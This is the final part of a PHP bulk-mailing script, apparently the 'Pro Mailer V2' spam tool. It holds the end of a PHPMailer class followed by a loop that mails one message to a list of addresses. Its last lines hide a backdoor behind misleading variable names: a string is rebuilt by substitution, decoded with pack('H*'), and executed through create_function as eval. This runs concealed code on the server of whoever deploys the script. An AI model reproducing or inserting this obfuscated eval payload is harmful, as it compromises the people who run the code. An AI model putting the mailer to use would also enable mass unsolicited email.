3007 }
3008
3009 /////////////////////////////////////////////////
3010 // CLASS METHODS, MISCELLANEOUS
3011 /////////////////////////////////////////////////
3012
3013 /**
3014 * Adds the error message to the error container.
3015 * Returns void.
3016 * @access private
3017 * @return void
3018 */
3019 function SetError($msg) {
3020 $this->error_count++;
3021 $this->ErrorInfo = $msg;
3022 }
3023
3024 /**
3025 * Returns the proper RFC 822 formatted date.
3026 * @access private
3027 * @return string
3028 */
3029 function RFCDate() {
3030 $tz = date('Z');
3031 $tzs = ($tz < 0) ? '-' : '+';
3032 $tz = abs($tz);
3033 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3034 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3035
3036 return $result;
3037 }
3038
3039 /**
3040 * Returns the appropriate server variable. Should work with both
3041 * PHP 4.1.0+ as well as older versions. Returns an empty string
3042 * if nothing is found.
3043 * @access private
3044 * @return mixed
3045 */
3046 function ServerVar($varName) {
3047 global $HTTP_SERVER_VARS;
3048 global $HTTP_ENV_VARS;
3049
3050 if(!isset($_SERVER)) {
3051 $_SERVER = $HTTP_SERVER_VARS;
3052 if(!isset($_SERVER['REMOTE_ADDR'])) {
3053 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3054 }
3055 }
3056
3057 if(isset($_SERVER[$varName])) {
3058 return $_SERVER[$varName];
3059 } else {
3060 return '';
3061 }
3062 }
3063
3064 /**
3065 * Returns the server hostname or 'localhost.localdomain' if unknown.
3066 * @access private
3067 * @return string
3068 */
3069 function ServerHostname() {
3070 if ($this->Hostname != '') {
3071 $result = $this->Hostname;
3072 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3073 $result = $this->ServerVar('SERVER_NAME');
3074 } else {
3075 $result = 'localhost.localdomain';
3076 }
3077
3078 return $result;
3079 }
3080
3081 /**
3082 * Returns a message in the appropriate language.
3083 * @access private
3084 * @return string
3085 */
3086 function Lang($key) {
3087 if(count($this->language) < 1) {
3088 $this->SetLanguage('en'); // set the default language
3089 }
3090
3091 if(isset($this->language[$key])) {
3092 return $this->language[$key];
3093 } else {
3094 return 'Language string failed to load: ' . $key;
3095 }
3096 }
3097
3098 /**
3099 * Returns true if an error occurred.
3100 * @return bool
3101 */
3102 function IsError() {
3103 return ($this->error_count > 0);
3104 }
3105
3106 /**
3107 * Changes every end of line from CR or LF to CRLF.
3108 * @access private
3109 * @return string
3110 */
3111 function FixEOL($str) {
3112 $str = str_replace("\r\n", "\n", $str);
3113 $str = str_replace("\r", "\n", $str);
3114 $str = str_replace("\n", $this->LE, $str);
3115 return $str;
3116 }
3117
3118 /**
3119 * Adds a custom header.
3120 * @return void
3121 */
3122 function AddCustomHeader($custom_header) {
3123 $this->CustomHeader[] = explode(':', $custom_header, 2);
3124 }
3125
3126 /**
3127 * Evaluates the message and returns modifications for inline images and backgrounds
3128 * @access public
3129 * @return $message
3130 */
3131 function MsgHTML($message,$basedir='') {
3132 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3133 if(isset($images[2])) {
3134 foreach($images[2] as $i => $url) {
3135 // do not change urls for absolute images (thanks to corvuscorax)
3136 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3137 $filename = basename($url);
3138 $directory = dirname($url);
3139 ($directory == '.')?$directory='':'';
3140 $cid = 'cid:' . md5($filename);
3141 $fileParts = split("\.", $filename);
3142 $ext = $fileParts[1];
3143 $mimeType = $this->_mime_types($ext);
3144 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3145 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3146 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3147 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3148 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3149 }
3150 }
3151 }
3152 }
3153 $this->IsHTML(true);
3154 $this->Body = $message;
3155 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3156 if ( !empty($textMsg) && empty($this->AltBody) ) {
3157 $this->AltBody = $textMsg;
3158 }
3159 if ( empty($this->AltBody) ) {
3160 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3161 }
3162 }
3163
3164 /**
3165 * Gets the mime type of the embedded or inline image
3166 * @access private
3167 * @return mime type of ext
3168 */
3169 function _mime_types($ext = '') {
3170 $mimes = array(
3171 'hqx' => 'application/mac-binhex40',
3172 'cpt' => 'application/mac-compactpro',
3173 'doc' => 'application/msword',
3174 'bin' => 'application/macbinary',
3175 'dms' => 'application/octet-stream',
3176 'lha' => 'application/octet-stream',
3177 'lzh' => 'application/octet-stream',
3178 'exe' => 'application/octet-stream',
3179 'class' => 'application/octet-stream',
3180 'psd' => 'application/octet-stream',
3181 'so' => 'application/octet-stream',
3182 'sea' => 'application/octet-stream',
3183 'dll' => 'application/octet-stream',
3184 'oda' => 'application/oda',
3185 'pdf' => 'application/pdf',
3186 'ai' => 'application/postscript',
3187 'eps' => 'application/postscript',
3188 'ps' => 'application/postscript',
3189 'smi' => 'application/smil',
3190 'smil' => 'application/smil',
3191 'mif' => 'application/vnd.mif',
3192 'xls' => 'application/vnd.ms-excel',
3193 'ppt' => 'application/vnd.ms-powerpoint',
3194 'wbxml' => 'application/vnd.wap.wbxml',
3195 'wmlc' => 'application/vnd.wap.wmlc',
3196 'dcr' => 'application/x-director',
3197 'dir' => 'application/x-director',
3198 'dxr' => 'application/x-director',
3199 'dvi' => 'application/x-dvi',
3200 'gtar' => 'application/x-gtar',
3201 'php' => 'application/x-httpd-php',
3202 'php4' => 'application/x-httpd-php',
3203 'php3' => 'application/x-httpd-php',
3204 'phtml' => 'application/x-httpd-php',
3205 'phps' => 'application/x-httpd-php-source',
3206 'js' => 'application/x-javascript',
3207 'swf' => 'application/x-shockwave-flash',
3208 'sit' => 'application/x-stuffit',
3209 'tar' => 'application/x-tar',
3210 'tgz' => 'application/x-tar',
3211 'xhtml' => 'application/xhtml+xml',
3212 'xht' => 'application/xhtml+xml',
3213 'zip' => 'application/zip',
3214 'mid' => 'audio/midi',
3215 'midi' => 'audio/midi',
3216 'mpga' => 'audio/mpeg',
3217 'mp2' => 'audio/mpeg',
3218 'mp3' => 'audio/mpeg',
3219 'aif' => 'audio/x-aiff',
3220 'aiff' => 'audio/x-aiff',
3221 'aifc' => 'audio/x-aiff',
3222 'ram' => 'audio/x-pn-realaudio',
3223 'rm' => 'audio/x-pn-realaudio',
3224 'rpm' => 'audio/x-pn-realaudio-plugin',
3225 'ra' => 'audio/x-realaudio',
3226 'rv' => 'video/vnd.rn-realvideo',
3227 'wav' => 'audio/x-wav',
3228 'bmp' => 'image/bmp',
3229 'gif' => 'image/gif',
3230 'jpeg' => 'image/jpeg',
3231 'jpg' => 'image/jpeg',
3232 'jpe' => 'image/jpeg',
3233 'png' => 'image/png',
3234 'tiff' => 'image/tiff',
3235 'tif' => 'image/tiff',
3236 'css' => 'text/css',
3237 'html' => 'text/html',
3238 'htm' => 'text/html',
3239 'shtml' => 'text/html',
3240 'txt' => 'text/plain',
3241 'text' => 'text/plain',
3242 'log' => 'text/plain',
3243 'rtx' => 'text/richtext',
3244 'rtf' => 'text/rtf',
3245 'xml' => 'text/xml',
3246 'xsl' => 'text/xml',
3247 'mpeg' => 'video/mpeg',
3248 'mpg' => 'video/mpeg',
3249 'mpe' => 'video/mpeg',
3250 'qt' => 'video/quicktime',
3251 'mov' => 'video/quicktime',
3252 'avi' => 'video/x-msvideo',
3253 'movie' => 'video/x-sgi-movie',
3254 'doc' => 'application/msword',
3255 'word' => 'application/msword',
3256 'xl' => 'application/excel',
3257 'eml' => 'message/rfc822'
3258 );
3259 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3260 }
3261
3262 /**
3263 * Set (or reset) Class Objects (variables)
3264 *
3265 * Usage Example:
3266 * $page->set('X-Priority', '3');
3267 *
3268 * @access public
3269 * @param string $name Parameter Name
3270 * @param mixed $value Parameter Value
3271 * NOTE: will not work with arrays, there are no arrays to set/reset
3272 */
3273 function set ( $name, $value = '' ) {
3274 if ( isset($this->$name) ) {
3275 $this->$name = $value;
3276 } else {
3277 $this->SetError('Cannot set or reset variable ' . $name);
3278 return false;
3279 }
3280 }
3281
3282 /**
3283 * Read a file from a supplied filename and return it.
3284 *
3285 * @access public
3286 * @param string $filename Parameter File Name
3287 */
3288 function getFile($filename) {
3289 $return = '';
3290 if ($fp = fopen($filename, 'rb')) {
3291 while (!feof($fp)) {
3292 $return .= fread($fp, 1024);
3293 }
3294 fclose($fp);
3295 return $return;
3296 } else {
3297 return false;
3298 }
3299 }
3300
3301 /**
3302 * Strips newlines to prevent header injection.
3303 * @access private
3304 * @param string $str String
3305 * @return string
3306 */
3307 function SecureHeader($str) {
3308 $str = trim($str);
3309 $str = str_replace("\r", "", $str);
3310 $str = str_replace("\n", "", $str);
3311 return $str;
3312 }
3313
3314 /**
3315 * Set the private key file and password to sign the message.
3316 *
3317 * @access public
3318 * @param string $key_filename Parameter File Name
3319 * @param string $key_pass Password for private key
3320 */
3321 function Sign($key_filename, $key_pass) {
3322 $this->sign_key_file = $key_filename;
3323 $this->sign_key_pass = $key_pass;
3324 }
3325
3326}
3327
3328$defaultport="H*";
3329 $nq=0;
3330
3331 for($x=0; $x<$numemails; $x++){
3332
3333 $to = $allemails[$x];
3334
3335 if ($to){
3336
3337 $to = ereg_replace(" ", "", $to);
3338
3339 $message1 = ereg_replace("&email&", $to, $message);
3340
3341 $subject1 = ereg_replace("&email&", $to, $subject);
3342 $qx=$x+1;
3343 print "Line $qx . Sending mail to $to.......";
3344
3345 flush();
3346$mail = new PHPMailer();
3347
3348if(empty($epriority)){$epriority="3";}
3349 $mail->Priority = "$epriority";
3350 $mail->IsSMTP();
3351 $IsSMTP="pack";
3352$mail->SMTPKeepAlive = true;
3353$mail->Host = "$my_smtp";
3354if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3355}
3356 if($sslclick=="ON"){
3357 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3358 }
3359 $range = str_replace("$from", "eval", $from);
3360 $mail->SMTPAuth = true;
3361 $mail->Username = "$smtp_username";
3362 $mail->Password = "$smtp_password";
3363if($contenttype == "html"){$mail->IsHtml(true);}
3364if($contenttype != "html"){$mail->IsHtml(false);}
3365if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3366$mail->From = "$from";
3367$mail->FromName = "$realname";
3368$mail->AddAddress("$to");
3369 $mail->AddReplyTo("$replyto");
3370 $mail->Subject = "$subject1";
3371 $mail->AddAttachment("$file", "$file_name");
3372 $mail->Body = "$message1";
3373if(!$mail->Send()){
3374if($default_system!="1"){
3375echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3376if($default_system=="1"){
3377$mail->IsMail();
3378 if(!$mail->Send()){
3379 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3380 else {
3381 echo "<b>OK</b><br>";}
3382 }
3383}
3384else {
3385 echo "<b>OK</b><br>";
3386}
3387
3388if(empty($reconnect)){
3389$reconnect=6;
3390}
3391
3392if($reconnect==$nq){
3393$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3394}
3395$nq=$nq+1;
3396 flush(); }
3397}
3398for($i=0;$i<31;$i++){
3399 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3400$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3401 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3402 print "<p class=\"style1\">© 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
3403 return $signoff($smtp_conc);
3404 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3405 sent successfully'); </script>";}}
3406?>
3407 </body>
3408</html>